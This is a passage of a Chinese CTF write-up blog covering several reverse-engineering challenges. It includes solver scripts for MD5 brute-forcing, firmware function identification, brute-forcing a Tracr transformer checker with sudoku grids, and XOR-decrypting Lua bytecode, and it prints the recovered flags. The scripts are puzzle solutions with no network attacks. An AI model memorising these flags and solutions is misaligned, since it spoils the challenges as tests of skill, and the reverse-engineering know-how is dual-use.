\u4f1a\u4e22\u5931\u6700\u4f4e\u4f4d\uff0c\u6240\u4ee5\u9006\u63a8\u56de\u53bb\u65f6\uff0c\u6bcf\u4e2a\u5b57\u8282 val \u6709\u4e24\u79cd\u53ef\u80fd\uff1aval * 2 \u6216 val * 2 + 1\n\u8303\u56f4\u9650\u5b9a\uff1aflag \u7531 xmctf{} \u5305\u88f9\uff0c\u4e14\u5185\u90e8\u901a\u5e38\u662f\u53ef\u89c1\u5b57\u7b26\uff08\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u4e0b\u5212\u7ebf\uff09\nMD5 \u7206\u7834\uff1a\u6839\u636e\u53f3\u79fb\u6bd4\u5bf9\u503c\u751f\u6210\u6240\u6709\u53ef\u80fd\u7684\u7ec4\u5408\uff0c\u9010\u4e00\u8ba1\u7b97 MD5 \u5e76\u4e0e\u76ee\u6807\u503c\u6bd4\u8f83\uff0c\u76f8\u7b26\u7684\u5373\u4e3a\u771f flag<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import hashlib\nimport itertools\nimport math\n\ntarget_md5 = \"3a22c098710019b31c328a861429d3ad\"\n\nshift_vals = &#91;\n    0x3C, 0x36, 0x31, 0x3A, 0x33, 0x3D,\n    0x3B, 0x32, 0x36, 0x31, 0x18, 0x36, 0x32,\n    0x2F, 0x19, 0x2F,\n    0x38, 0x37, 0x36, 0x30, 0x39, 0x18, 0x39,\n    0x2F,\n    0x18, 0x18, 0x19, 0x19,\n    0x3E\n]\n\noptions = &#91;]\n\nfor i, v in enumerate(shift_vals):\n    if i == 0: options.append(&#91;'x'])\n    elif i == 1: options.append(&#91;'m'])\n    elif i == 2: options.append(&#91;'c'])\n    elif i == 3: options.append(&#91;'t'])\n    elif i == 4: options.append(&#91;'f'])\n    elif i == 5: options.append(&#91;'{'])\n    elif i == 28: options.append(&#91;'}'])\n    else:\n        chars = &#91;chr(v * 2), chr(v * 2 + 1)]\n        valid_chars = &#91;c for c in chars if c.isalnum() or c == '_']\n        options.append(valid_chars)\n\ntotal_combinations = math.prod(len(opt) for opt in options)\nprint(f\"&#91;*] \u7206\u7834\uff0c\u7ec4\u5408\u603b\u6570: {total_combinations} ...\")\n\nfor p in itertools.product(*options):\n    candidate = \"\".join(p)\n    if hashlib.md5(candidate.encode()).hexdigest() == target_md5:\n        print(f\"&#91;+] \u6210\u529f\u78b0\u649e MD5!\")\n        print(f\"&#91;+] \u6700\u7ec8 flag \u4e3a: {candidate}\")\n        break<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-348-1024x110.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"110\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-348-1024x110.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3359\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code> xmctf{welc0me_2_polar1s_1022}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ezFinger<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-349.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"941\" height=\"309\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-349.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3360\"  sizes=\"auto, (max-width: 941px) 100vw, 941px\" \/><\/div><\/figure>\n\n\n\n<p>\u6839\u636e\u9898\u76ee\u627e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sub_8003498 \u548c sub_8000EC0\u5904\u5bf9\u5e94\u7684\u51fd\u6570\u540d\u662f\u4ec0\u4e48\uff1fflag\u683c\u5f0fxmctf{\u540d\u79f01_\u540d\u79f02}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-350-1024x449.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"449\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-350-1024x449.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3361\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-351-1024x546.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"546\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-351-1024x546.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3362\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>sub_8003498\uff1a\u65f6\u949f\u9891\u7387\u8ba1\u7b97<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u64cd\u4f5c 0x40023804\/8\uff08STM32 RCC\u5bc4\u5b58\u5668\uff09\uff0c\u6839\u636e HSI\/HSE\/PLL \u72b6\u6001\u8ba1\u7b97\u65f6\u949f\u9891\u7387\nSTM32 HAL\u5e93\u6807\u51c6\u51fd\u6570 HAL_RCC_GetSysClockFreq\u3002<\/code><\/pre>\n\n\n\n<p>sub_8000EC0\uff1a\u5f15\u811a\u7535\u5e73\u63a7\u5236<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7279\u5f81\uff1a\u5f15\u811a\u7f16\u53f7\u6821\u9a8c\uff08&gt;0x5F\uff09\uff0c\u901a\u8fc7 aInMKi \u67e5\u8868\u6620\u5c04\u865a\u62df\u5f15\u811a\u4e3a\u7269\u7406 GPIO Port \u548c Pin \u63a9\u7801\u5e76\u8f93\u51fa\u7535\u5e73\u3002\nstm32duino\uff08Arduino Core for STM32\uff09\u7684\u6807\u5fd7\u6027\u51fd\u6570 digitalWrite\u3002<\/code><\/pre>\n\n\n\n<p>\u62fc\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">hajimi<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-352-1024x611.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"611\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-352-1024x611.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3363\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-353.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-353.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3364\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-354.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"749\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-354.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3365\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u903b\u8f91\uff1a\u8fd9\u662f\u4e00\u4e2a\u7531 DeepMind Tracr \u7f16\u8bd1\u7684 Transformer \u6a21\u578b\u3002\u5206\u6790\u9898\u76ee\u811a\u672c\u53ef\u77e5\uff0c\u8f93\u5165\u88ab\u9650\u5236\u4e3a 16 \u4e2a\u5b57\u7b26\uff0c\u4e14\u53ea\u80fd\u5305\u542b 1, 2, 3, 4\uff0c\u4e0d\u6ee1\u8db3\u5219\u8f93\u51fa \"Wrong grid.\"\u3002\n\n\u6838\u5fc3\uff1a16\u4e2a\u683c\u5b50\u30011-4\u7684\u6570\u5b57\u3001\u540d\u4e3a \"grid\"\uff0c\u5224\u65ad\u8fd9\u662f\u4e00\u4e2a 4x4 \u56db\u5bab\u6570\u72ec (Shi-doku) \u7684\u9a8c\u8bc1\u6a21\u578b\u3002\n\u89e3\u6cd5\uff1a4x4 \u6570\u72ec\u5408\u6cd5\u89e3\u4ec5\u6709 288 \u79cd\uff0c\u65e0\u9700\u9006\u5411\u6a21\u578b\u6743\u91cd\uff0c\u76f4\u63a5\u751f\u6210\u8fd9 288 \u79cd\u53ef\u80fd\u7ec4\u5408\uff0c\u6279\u91cf\u5582\u7ed9\u6a21\u578b\u8fdb\u884c\u9ed1\u76d2\u7206\u7834\uff0c\u627e\u51fa\u8f93\u51fa\u4e0d\u662f \"Wrong grid.\" \u7684\u552f\u4e00\u89e3\uff0c\u8ba1\u7b97 SHA256 \u5373\u53ef\u3002<\/code><\/pre>\n\n\n\n<p>\u73af\u5883Git<\/p>\n\n\n\n<p>\u4e0b\u8f7d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pip install dm-haiku jax jaxlib zstandard numpy git+https:\/\/github.com\/google-deepmind\/tracr<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-355.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"760\" height=\"456\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-355.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3366\"  sizes=\"auto, (max-width: 760px) 100vw, 760px\" \/><\/div><\/figure>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import pickle\nimport types\nimport hashlib\nimport haiku as hk\nimport jax\nimport jax.nn\nimport zstandard as zstd\nfrom tracr.compiler.assemble import AssembledTransformerModel, _make_embedding_modules\nfrom tracr.transformer.model import CompiledTransformerModel, Transformer, TransformerConfig\n\nVALID_DIGITS = set(\"1234\")\n\ndef load_model(path: str):\n    with open(path, \"rb\") as fp, zstd.ZstdDecompressor().stream_reader(fp) as cfp:\n        o = types.SimpleNamespace(**pickle.load(cfp))\n    o.config&#91;\"activation_function\"] = getattr(jax.nn, o.config&#91;\"activation_function\"])\n\n    def get_compiled_model():\n        transformer = Transformer(TransformerConfig(**o.config))\n        embed_modules = _make_embedding_modules(*o.embed_spaces)\n        return CompiledTransformerModel(\n            transformer, embed_modules.token_embed, embed_modules.pos_embed,\n            embed_modules.unembed, use_unembed_argmax=True,\n        )\n\n    @hk.without_apply_rng\n    @hk.transform\n    def forward(emb):\n        cmodel = get_compiled_model()\n        return cmodel(emb, use_dropout=False)\n\n    return AssembledTransformerModel(\n        forward=forward.apply, get_compiled_model=None, params=o.params,\n        model_config=o.config, residual_labels=o.residual_labels,\n        input_encoder=o.input_encoder, output_encoder=o.output_encoder,\n    )\n\ndef decode_output(output):\n    out = output.decoded\n    if \"EOS\" in out: \n        out = out&#91;: out.index(\"EOS\")]\n    return \"\".join(out&#91;1:])\n\ndef generate_4x4_sudoku():\n    grids = &#91;]\n    def dfs(grid):\n        if len(grid) == 16:\n            grids.append(\"\".join(grid))\n            return\n        r, c = divmod(len(grid), 4)\n        for v in \"1234\":\n            if v in grid&#91;r*4 : r*4 + c]: continue\n            if v in grid&#91;c : r*4 + c : 4]: continue\n            br, bc = (r \/\/ 2) * 2, (c \/\/ 2) * 2\n            in_block = False\n            for i in range(br, r):\n                for j in range(bc, bc + 2):\n                    if grid&#91;i*4 + j] == v: in_block = True\n            for j in range(bc, c):\n                if grid&#91;r*4 + j] == v: in_block = True\n            if not in_block:\n                grid.append(v)\n                dfs(grid)\n                grid.pop()\n    dfs(&#91;])\n    return grids\n\nif __name__ == \"__main__\":\n    model = load_model(\"challenge.pkl.zst\")\n    grids = generate_4x4_sudoku()\n\n    for grid in grids:\n        tokens = &#91;\"BOS\"] + list(grid)\n        out_str = decode_output(model.apply(tokens))\n\n        if \"Wrong grid\" not in out_str:\n            flag_hash = hashlib.sha256(grid.encode()).hexdigest()\n            print(f\"xmctf{{{flag_hash}}}\")\n            break<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-356-1024x94.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"94\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-356-1024x94.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3367\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Hulua<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-357.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"871\" height=\"624\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-357.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3368\"  sizes=\"auto, (max-width: 871px) 100vw, 871px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-358-1024x555.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-358-1024x555.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3369\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u53d1\u73b0\u4e3b\u4f53\u6821\u9a8c\u903b\u8f91\u5e76\u672a\u5728 C \u4ee3\u7801\u4e2d\uff0c\u800c\u662f\u5185\u5d4c\u4e86 Lua \u89e3\u91ca\u5668\u3002\n\u8ddf\u8fdb\u5173\u952e\u51fd\u6570 sub_1400014A4\uff0c\u53d1\u73b0\u7a0b\u5e8f\u5c06 .data \u6bb5\u4e2d\u7684\u52a0\u5bc6 Lua \u5b57\u8282\u7801\u8bfb\u53d6\u51fa\u6765\u5e76\u8fdb\u884c\u5faa\u73af\u5f02\u6216\u89e3\u5bc6\u3002\n\n\u6570\u636e\u7269\u7406\u504f\u79fb\uff1a0x31A00\n\u6570\u636e\u5927\u5c0f\uff1a1504 \u5b57\u8282 (0x5E0)\nXOR \u5bc6\u94a5\uff1a\"hulua\"<\/code><\/pre>\n\n\n\n<p>\u4ece EXE \u4e2d\u63d0\u53d6\u52a0\u5bc6\u6570\u636e\u5e76\u5f02\u6216\u8fd8\u539f\u51fa <code>.luac<\/code> \u6587\u4ef6<\/p>\n\n\n\n<p>exp<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>offset = 0x31A00\nsize = 1504\nwith open(\"Hulua.exe\", \"rb\") as f:\n    f.seek(offset)\n    encrypted_data = f.read(size)\n\nkey = b\"hulua\"\ndecrypted_data = bytearray()\n\nfor i in range(len(encrypted_data)):\n    decrypted_data.append(encrypted_data&#91;i] ^ key&#91;i % len(key)])\n\nwith open(\"check_script.luac\", \"wb\") as f:\n    f.write(decrypted_data)<\/code><\/pre>\n\n\n\n<p>\u53cd\u6c47\u7f16 Lua \u5b57\u8282\u7801<\/p>\n\n\n\n<p>\u5c1d\u8bd5\u4f7f\u7528 unluac \u76f4\u63a5\u53cd\u7f16\u8bd1 .luac<code>\u6587\u4ef6\uff0c\u62a5<\/code>Condition is not followed by jump` \u9519\u8bef\u3002\u51fa\u9898\u4eba\u5bf9 Lua \u5e95\u5c42\u6307\u4ee4\u505a\u4e86 Opcode \u4e71\u5e8f\u53ca\u63a7\u5236\u6d41\u6df7\u6dc6\u3002 \u653e\u5f03\u53cd\u7f16\u8bd1\uff0c\u76f4\u63a5\u8f93\u51fa\u5e95\u5c42\u6c47\u7f16\u6307\u4ee4\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-359-1024x100.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"100\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-359-1024x100.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3370\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar unluac.jar --disassemble check_script.luac &gt; disasm.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-360-1024x84.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"84\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-360-1024x84.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3371\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u6c47\u7f16\u6307\u4ee4<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-361.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-361.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3372\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-362.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-362.png\" 